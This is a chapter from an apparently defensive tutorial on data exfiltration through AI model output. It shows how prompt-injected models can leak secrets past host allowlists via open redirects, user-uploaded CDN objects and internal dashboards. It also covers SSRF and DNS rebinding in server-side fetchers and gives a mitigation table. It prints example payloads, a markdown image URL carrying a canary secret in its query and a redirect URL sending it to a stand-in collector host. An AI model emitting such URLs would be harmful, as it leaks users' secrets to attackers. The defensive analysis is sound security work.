Skip to content

15 min read

Allowlisting the final destination

On this page

A host allowlist is the control that follows naturally from the scheme allowlist: having decided the model may only emit http and https URLs, you now decide which hosts those URLs may name. Images may only load from cdn.yourcompany.com and avatars.githubusercontent.com; links may only point at docs.yourcompany.com and a short list of trusted domains. The rule reads cleanly, the regex is short, and it passes review, which is part of the problem — it is a check on a string, written at a moment when the string is all you have.

The gap between that check and the outbound request has two distinct shapes. One is that the destination you validated can hand the browser a new destination through a redirect. The other is that the destination you validated is a host you own that will faithfully relay the request's contents to an attacker, so the request never had to leave the allowlist to leak. Both defeat a check that reads the model's output string, because in both the string is honest and the request is not.

The string is not the request

A host allowlist inspects a URL at the moment of rendering. The browser's fetch happens later, and between the two the network gets a vote. An allowlisted https URL can return a 302 to anywhere, and the browser follows it by default, carrying the path and query of the original request forward; a 302 is the HTTP status code by which a server tells a client that the thing it asked for lives at a different address and it should go and fetch that instead, which is what a redirect is and why it is invisible to whoever validated the first address. So an attacker who can get a redirect installed on any allowlisted host — or who finds one that already redirects — turns your allowlist into a launch pad. Stated as an intuition: the allowlist is checking a string the attacker chose, and the browser is resolving a different one.

Two mechanical details make that work, and neither is guesswork about the attacker's cleverness. The first is that following the redirect is the client's default rather than a choice somebody made. A response in the 3xx family carries a Location header naming the new address, and the algorithm every browser and nearly every HTTP library implements is: on a 3xx, take Location, issue the request again against it, and repeat up to a bounded number of hops. The hop limit exists to stop loops, and it is generously large compared with the one hop an attacker needs. Nothing in that algorithm consults the policy that approved the first address, because the policy ran in your renderer and the redirect is being handled inside the network stack.

The second is how the attacker gets a secret of their choosing into the Location header of a host they do not control. They rarely need to install anything. An open redirect is an endpoint that takes a destination as a parameter and reflects it into Location — the /go?u=… in the diagram below — and these exist in ordinary numbers on ordinary sites, because "return the user to where they came from after login" is a feature and the lazy implementation of it reads the target out of the query string. So the injected instruction asks the model to write https://cdn.yourcompany.com/go?u=collector.test/i/SECRET. Your check reads the host, sees cdn.yourcompany.com, and allows it. The redirector reads u, copies it into Location, and the browser does the rest.

Sequence: Renderer (checks host) → Renderer (checks host) (URL host == cdn.yourcompany.com ✓ allow); Browser → cdn.yourcompany.com (allowlisted) (GET /go?u=collector.test/i/SECRET); cdn.yourcompany.com (allowlisted) → Browser (302 Location: https://collector.test/i/SECRET); Browser → collector.test (attacker) (GET /i/SECRET).

The renderer did its job as written. It confirmed the host was on the list and permitted the load. The browser then did its job — follow redirects — and the second hop went to a host that was never checked, because nothing checks the second hop. Any allowlisted host that forwards or proxies on demand behaves the same way: an open redirect endpoint, a URL-shortener you trust, an image-resize service that takes a source URL as a parameter, a "click tracking" wrapper. The presence of a redirector inside the allowlist is enough; the attacker does not need to compromise the host, only to use a feature it already offers.

Two details in that sequence change what "the redirect leaked it" means, and both are easy to read past. The secret had already left before the redirect happened: the browser's first request, GET /go?u=collector.test/i/SECRET, went to cdn.yourcompany.com and was written into that host's access log with the canary intact, so on a host whose logs an attacker can reach the second hop is a convenience rather than a requirement. And the second request carries more than the URL. Browsers attach a Referer header — the misspelling is in the specification and has outlived every attempt to correct it — naming the page a request originated from, subject to whatever Referrer-Policy your page sets, so a redirect chain can also tell the attacker's server which of your pages was on screen when it fired.

This is the most important gap left by an http-and-https-only policy, and it is worth stating as a rule you can carry: validating a hostname validates the string, and the string is not the request. What you actually need to constrain is the destination that is finally fetched, including every hop a redirect adds. In a browser you have limited control over redirect following once the request leaves, which pushes the enforcement point off the client — you fetch the resource yourself, server-side, through code you control that follows redirects explicitly and re-checks the host at each hop, and you serve the client a reference to the bytes you fetched rather than the original URL. That is more infrastructure than a regex, and it is the difference between a check that can be true and a check that is merely written down.

Building that server-side fetcher correctly has its own hazard, which is worth flagging so the fix does not open a second hole. A fetcher that follows redirects on the model's behalf is, from the network's point of view, a server-side request forgery engine (server-side request forgery being the class of bug where an attacker induces your server to issue requests of their choosing, borrowing your server's network position instead of using their own): it will connect to whatever host the redirect names, including internal addresses the browser could never reach — a metadata endpoint at 169.254.169.254, a database admin panel on the private network, a localhost service. That first address is worth knowing by sight: it is a link-local address, meaning one routable only on the machine's own network segment, and the major cloud providers answer on it with an instance metadata service that will hand out credentials to whatever asks from inside the instance. A fetcher that follows an attacker's redirect there does not leak a canary; it leaks the machine.

Re-checking the host string at each hop is necessary and not sufficient, and the reason is a timing gap rather than a missing rule. Your check resolves the hostname to an address, or trusts the name outright, and then the connection is made — and between those two moments the answer can change, because the answer comes from a nameserver the attacker may control. That is the shape of a time-of-check-to-time-of-use bug: the fact you validated and the fact you acted on are two different observations of something that was free to move in between. Applied to DNS it has its own name, DNS rebinding: the attacker's nameserver answers the first lookup with a harmless public address, which your check approves, and answers the second lookup moments later with 169.254.169.254, which is what your socket actually connects to.

The fix follows directly from the description of the bug. Resolve the name yourself, check the resolved address against the ranges you refuse — private, loopback, link-local — and then connect to that address, setting the Host header to the original name so the far end still serves the right site. That is what "pin the address" means concretely: you remove the second lookup, so there is no second observation to disagree with the first. The fetcher has to validate the resolved address, not only the name, refuse private and link-local ranges, and pin the address it validated to the address it connects to. The point is that "fetch it yourself and re-check" is the right shape and it moves you from one class of bug into the neighbourhood of another, so the fetcher is a piece of security-sensitive code in its own right rather than a convenience wrapper around requests.get.

Your own CDN is somebody's collector

The second shape is subtler because it never leaves the allowlist. Take the two image hosts above. Both serve user-uploaded content: avatars.githubusercontent.com serves avatars that any GitHub user, including the attacker, uploaded and whose request logs the hosting side can see for their own object, and a CDN you run — the content delivery network serving your product's static files — serves whatever your users put in it. So the attack needs no redirect at all: the attacker uploads an object to a host that is already on your allowlist, then instructs the model to build an image URL for that object with the secret in the query string.

markdown
![a](https://cdn.yourcompany.com/u/attacker-upload-42.png?leak=sk-test-CANARY-8f21)

The host is allowlisted. The image even exists and renders, so nothing looks broken. And the request line — path plus query, including leak=sk-test-CANARY-8f21 — lands in the CDN's access logs for an object the attacker controls, which they read at their leisure. The data reached the attacker without a single byte crossing the allowlist boundary, because the boundary was drawn around network reachability and the property that mattered was observability. A host you own can observe a request as well as any host an attacker owns; "internal" and "ours" are statements about who runs the server, not about who can read the logs.

Two ordinary properties of that URL are doing the work, and neither is a misconfiguration anybody could be blamed for. The query string is ignored when the CDN works out which object to serve, because ?leak=… is not part of the object's key, so the image resolves and paints exactly as it would without it. The query string is recorded when the CDN writes its access log, because the common log formats record the request line, and the request line is the path and the query together. The same characters the serving path throws away are the characters the logging path keeps, and that asymmetry is what makes a query string the most convenient payload slot on the web.

The step in this attack that deserves scepticism is the last one, the attacker reading the record, because it is the step that varies by host and the one a review should make somebody demonstrate rather than assert. It holds where a multi-tenant service exposes per-object or per-prefix access logs to whoever owns the object; where a host reflects the parameter into a page or an API response the attacker can fetch back; and where request-level analytics are available to ordinary accounts. It does not hold automatically for every host you happen to own, and a CDN whose logs only your operations team can read is not a collector whatever else is true about it. So the durable rule is narrower and more checkable than "your own hosts are unsafe": for each allowlisted host, ask who is able to observe a request made to it, and treat "nobody outside the company" as a claim somebody has to verify rather than as a property the word internal supplies for free.

The same failure wears a different costume on internal dashboards. A dashboard at metrics.internal that renders whatever is in ?title= or ?note= is a place an attacker can write a request to and later read the value back out of, either from the dashboard's own display or from its logs. So an allowlisted link to an internal dashboard, with the secret tucked into a parameter the dashboard stores, is an exfiltration channel that points inward. The request stayed on the corporate network the whole time and the data still reached whoever planted the injection, because they could query the dashboard for what it recorded.

A policy that satisfies screenshots and dashboards

The design problem this leaves is concrete. A product that shows screenshots from an internal tool, links to internal dashboards, and occasional charts as inline SVG needs all three to keep its value, while a security review wants images and SVG blocked outright. The resolution is to stop thinking in terms of "block or allow a host" and start enforcing a different property at each surface, chosen so that the request cannot carry attacker-chosen data to a place the attacker can read.

SurfaceWhat you enforceWhy the naive version fails
Screenshots from the internal toolserver-side fetch through a proxy you own; strip query string; re-check host after every redirect; serve the client a re-hosted copya direct <img src> to the tool follows redirects and carries a query the tool may log
Links to internal dashboardscanonicalise to a known-safe path; drop or ignore free parameters; render as a click-through the user initiates, never as an auto-fetch previewa dashboard reads ?note= back to the attacker; unfurling fetches it with no click
Inline SVG chartsrender only SVG your own chart service produced, identified by provenance — a record of where the markup came from rather than a check on what it contains — not SVG the model emitted; sanitise as defence in depthmodel-emitted SVG carries <image href> and <use href> that fetch externally
Any image URLno query string survives; the path must resolve to content your side placed there, not user-uploaded objectsuser-uploaded objects on your CDN turn the allowlist into a collector

One phrase in that table is doing more work than its length suggests, so it is worth unpacking. To canonicalise a URL is to rewrite it into the single agreed form your side is willing to serve, discarding everything the rewriting did not produce: you take the dashboard's identifier out of the URL the model wrote, look up the dashboard, and construct the link yourself from a template you own. What survives is what your template has slots for. A free parameter the model chose does not survive, because your template has nowhere to put it. That is a different act from validating the model's URL and letting it through once it passes, and it is stronger for the same reason the redirect defeated the host check: validation reasons about a string somebody else composed, and construction produces a string you composed.

The through-line is that each row removes the attacker's ability to put chosen bytes into a request that a party they can observe will receive. Stripping the query string removes the most convenient payload slot. Fetching server-side and re-hosting removes the redirect. Restricting SVG to your chart service's own output removes the model's ability to author the markup at all. Serving links as user-initiated click-throughs, rather than as auto-fetched previews, restores the human veto that the image case removed — which matters because link unfurling, the preview card a chat surface builds by fetching whatever a posted link points at and the subject of a later chapter in this topic, quietly turns links back into auto-fetches on the server side.

A necessary coarse filter

Notice what allowlisting hosts does buy, so none of this is read as "allowlists are useless." A host allowlist is a necessary coarse filter: it stops the model from pointing an image at an arbitrary attacker domain in one hop, which is the single most common payload and worth blocking cheaply. It is necessary and not sufficient, and the failure mode is believing the "sufficient" part because the "necessary" part was easy. A reviewer who says "internal is not the same as not-attacker-observable" is naming exactly the assumption the shortcut smuggles in.

The other honest limitation is that this policy decays, and it decays in a predictable direction. A year on, the thing that breaks it is a new host quietly added to the allowlist for a good reason — a new CDN, a partner's asset domain, a marketing subdomain — that also happens to serve user content or follow redirects, and nobody re-ran the observability argument when they added it, because the allowlist is a config value and config values get edited without a threat model. The other slow failure is an internal dashboard that grows a new parameter, or a screenshot tool that starts accepting a source URL, so a surface that was safe when you audited it becomes a relay after a feature ships.

The policy is not a thing you set; it is a thing you re-check whenever the allowlist or the hosts behind it change, which is the maintenance cost of enforcing a property the underlying systems do not enforce for you.

Every control so far has lived in the rendering path — schemes, hosts, redirects, provenance, all decisions your renderer or your proxy makes about what to display. Each has moved the check closer to the thing that actually happens: from the markup, to the scheme, to the host, to the destination finally fetched.

That direction of travel has an end, and it is not safety. Strip the rendering path to nothing — plain text, no images, no links — and the exfiltration does not stop. It moves to a set of requests that no renderer ever sees, because the agent makes them itself. That is where the topic goes next.

Data exfiltration channels — read the current version at https://daviddominguez.dev/learn/en/data-exfiltration-channels/allowlisting-the-final-destination

Back to top